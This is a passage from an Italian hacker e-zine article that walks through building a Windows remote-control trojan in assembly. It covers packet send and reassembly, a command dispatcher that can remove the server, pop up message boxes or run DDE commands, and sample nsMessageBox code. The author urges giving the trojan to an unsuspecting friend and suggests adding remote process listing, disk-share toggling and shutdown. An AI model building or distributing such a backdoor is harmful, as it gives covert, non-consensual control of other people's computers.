riempie un buffer di invio di dimensione 1048 bytes (1024 per i dati e 24
per i controlli) e con la funzione send delle winsock manda quello.
Per la precisione inserisce nel buffer, prendendo i dati dal packet
riempito prima, l'header, il numero della funzione richiesta, il numero del
pacchetto all'interno della sequenza, i pacchetti totali, la lunghezza del
dato e il dato vero e proprio, leggendolo da packet.nrPointData. Quindi
chiude con la tail. E invia, in modo ORDINATO, cioe' pacchetto 0, pacchetto
1, pacchetto 2, eccetera eccetera.

La ricezione e' un altro paio di maniche, perche' avviene in modo
asincrono, e i pacchetti possono arrivare in qualunque ordine, di solito
sparso, con buona pace del nostro mal di testa.
Quando le winsock rilevano dati disponibili in lettura nel socket allocato,
inviano un messaggio di tipo FD_READ, e viene chiamata la funzione
ProcessIncoming.
Questa funzione si occupa di leggere i dati dal socket e di interpretarli,
e scarta QUALUNQUE pacchetto che non inizi con la sequenza "NRP-" per
evidenti motivi.
Con un esempio e' piu' semplice capire:

1 server o client ricevono un primo pacchetto, verificano l'header (che
  corrisponde a "NRP-" e accettano il pacchetto.
2 si salvano il codice della funzione richiesta e impostano a TRUE la
  variabile receiveLOCK. Questo significa che finche' non verranno ricevuti
  tutti i pacchetti del dato NON SARA' POSSIBILE ESEGUIRE UN'ALTRA
  RICHIESTA. Scordatevi di richiedere piu' funzioni contemporaneamente.
3 viene allocato un buffer di dimensioni sufficienti a contenere tutti i
  dati che arriveranno in seguito (con la semplice formula pacchetti totali
  * 1024).
4 Il buffer viene riempito coi dati del pacchetto ricevuto.

A questo punto la funzione ProcessIncoming termina e l'esecuzione del
programma continua. Qualunque pacchetto venga ricevuto in seguito viene
controllato per l'header, e ANCHE PER IL CODICE DELLA FUNZIONE salvato in
precedenza. Se corrisponde, i dati vengono inseriti nella giusta posizione
nel buffer. Qualunque altro pacchetto che non soddisfa header o codice
verra' scartato.
Un controllo verifica se sono arrivati tutti i pacchetti. In questo caso la
variabile receiveLOCK viene impostata a FALSE, e a seconda del codice di
funzione vengono richiamate le diverse routines, con un parametro che punta
al buffer contenente i dati arrivati:

; // questo e' preso dal server //

.IF eax==totalPackets

   .IF reqOperation==00000000h
       INVOKE  nsRemoveServer

   .ELSEIF reqOperation==00000001h
           INVOKE  nsMessageBox, offsetBuffer

   .ELSEIF reqOperation==00000002h
           INVOKE  nsDDEExecute, offsetBuffer

   .ENDIF

   INVOKE  GlobalUnlock, offsetBuffer
   INVOKE  GlobalFree, hMemory

   mov    receiveLOCK, FALSE

.ENDIF

Quindi viene deallocato il buffer, e server o client sono pronti a gestire
un altro comando. Bel casino, eh?
Spesso le funzioni richiamate si occupano, oltre che di eseguire i comandi
richiesti, anche di costruire una risposta, che viene inviata con la
SendCommand e ricevuta con la ProcessIncoming. E' da tenere a mente che:

- la ProcessIncoming del server riceve RICHIESTE di funzione
- la ProcessIncoming del client riceve RISPOSTE dal server

Le funzioni chiamate si trovano in include\servop.in e include\clntop.inc


6) IMPLEMENTIAMO LE FUNZIONI

Qui si basa tutto sulla fantasia, e sulla conoscenza del funzionamento di
Windows. Faccio solo l'esempio di come funziona un invio di messagebox, che
e' piu' che esplicativo.
Nel client quando viene premuto il bottone Message Box, viene prelevato il
testo nell'editbox a fianco, e viene riempito un buffer. La SendCommand
viene invocata nel modo seguente:

INVOKE  SendCommand, 00000001h, offsetData, socketDESCRIPTOR

dove 00000001h e' il codice della funzione e offsetData il puntatore al
buffer contenente il testo.
Il server riceve la richiesta, ricostruisce i pacchetti e arriva a questo:

.ELSEIF reqOperation==00000001h
        INVOKE  nsMessageBox, offsetBuffer

e richiama la nsMessageBox, con parametro offsetBuffer=puntatore al buffer
in memoria che contiene il testo ricevuto:

nsMessageBox      PROC    messageTEXT:DWORD

                  INVOKE  GlobalAlloc, GHND, 4
                  mov     hDataMem, eax
                  INVOKE  GlobalLock, eax
                  mov     offsetData, eax

                  INVOKE  BringWindowToTop, hDlg
                  INVOKE  SetForegroundWindow, hDlg
                  INVOKE  MessageBoxA, NULL, messageTEXT, \
                          ADDR MsgboxCaption, MB_OK

La nostra message box e' stata mostrata, viene creata la risposta per
l'utente:

                  ;compose buffer with reply from messagebox

                  mov     edi, offsetData
                  stosd

La funzione MessageBoxA ritorna in eax il bottone che e' stato premuto
dall'utente remoto, e viene inserito nel buffer di risposta. Quindi viene
chiamata una SendCommand.

                  INVOKE  SendCommand, 00000001h, offsetData, remoteDESCRIPTOR

                  INVOKE  GlobalUnlock, offsetData
                  INVOKE  GlobalFree, hDataMem            

                  ret
nsMessageBox      ENDP

Il client ricevera' la risposta e mostrera' una messagebox dicendo cosa
l'utente remoto ha risposto.
Direi che tutto sommato e' semplice.

Un'ultima nota. Il codice sorgente e' piu' esplicativo di qualunque
articolo, tenetelo bene a mente :)

      - IL CLIMAX (localita' turistica per chi sa' come spassarsela) -

A questo punto il vostro bel trojan base e' pronto. Lo passate a qualche
amichetto poco furbo e vi rotolate per terra dal ridere ogni volta che vi
chiede come mai il suo pc tutto ad un tratto ha deciso di animarsi di vita
propria, e dire che ha controllato bene, di Netbus o Back Orifice nemmeno
l'ombra...

                      - LA SIGARETTA DI RIFLESSIONE -

Tanto per parlare nel solito e doveroso "legalese", questo programma e'
fornito cosi' com'e' (AS IS per i piu' anglofoni). Morale: se vi salta in
aria il computer, se la vostra ragazza vi lascia, se vi arrestano eccetera
eccetera io NON POSSO ESSERE RITENUTO RESPONSABILE, e tanto meno
s0ftpr0ject. L'avete letto il disclaimer di BFi, vero?
Riassumendo, io non c'ero... se c'ero, dormivo, ero in bagno o trombavo
mentre stavate scasinando (ue' Technolord, ti ricorda forse l'estate del
1995? ...uahuauahaa...).
Siete comunque liberi di modificare e migliorare il sorgente a vostro
piacimento, purche' scriviate da qualche parte che dietro alla base ci sono
io. Se vi limitate a prendere qualche idea basta un ringraziamento, se
invece cambiate soltanto l'about box e cose simili siete dei gran
lamerazzi, e fate pure brutta figura visto che per ora c'e' veramente
poco. Del resto ho fatto questo programmino per curiosita', mica per
distribuirlo (almeno non a questo stadio).

...se l'avessi scritto in elfico non avreste capito un granche', credo...

                       - MIGLIORARE LE PRESTAZIONI -

Per questa volta avete finito, e siete (parzialmente) soddisfatti. Pero' a
pensarci bene poteva essere tutto piu' bello, si potevano fare tanti altri
bei giochetti. Evidentemente bisogna migliorare.
I suggerimenti si potrebbero sprecare. Provate voi a trovare il modo di
implementare funzioni utili, magari gia' viste in programmi simili magari
no.
Qualche dritta ve la posso dare, molto generale si intende. Ad esempio
potrei suggerirvi di ricavare la lista dei processi attivi sulla macchina
remota usando due funzioni non documentate di mamma (puttana) Microsoft,
che guarda caso si chiamano Process32first e Process32next, di attivare e
disattivare le condivisioni degli hard disk on the fly con NetShareAdd e
NetShareDel, di chiudere Windows in remoto con ExitWindowsEx, e tante tante
altre. Dipende dalla vostra fantasia (e dalla voglia di applicarsi).
Quindi mano alle funzioni della ToolHelp32, dell'MCI, installatevi l'help
in linea del Visual C++ 6.0, accendetevi una sigaretta e cominciate a
leggere con gran calma.
Chenneso', magari il tutto potrebbe essere oggetto di un articolo su uno
dei prossimi numeri di BFi...

                            - I RINGRAZIAMENTI -

Di rito (e di dovere) i miei piu' sentiti ringraziamenti ai seguenti guru:

- Black Berry (per la disponibilita', le buone idee, la birra)
- Valvoline   (per il Valv.N.E.T. e per un sicuro prossimo aiuto)
- SMaster     (per l'infinito impegno e pazienza)
- |scacco|    (per la collaborazione)
- xOANON      (perche', che programmi o sprotegga, e' sempre uno dei meglio)
- PhoenYx     (il braccio pesantemente armato dei fuorilegge)
- pIGpEN      (per essere il solito matto che non puo' mancare)
- Cavallo     (per l'interessamento e i suggerimenti)

Ci si rivede su BFi 6 con S.I.R.I.A.
(Security Inspector for Remote Intrusion Attempts)

...forse...

P.S. Se per quanto vi sforziate la suddivisione di questo articolo non vi
     ricorda proprio nulla si suggerisce un soggiorno di almeno una
     settimana nei bordelli di Amsterdam, lontani dal PC (ringrazio il buon
     Giova per la dritta).
     E non prendetelo come qualcosa di personale... :)

\sPIRIT\


--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================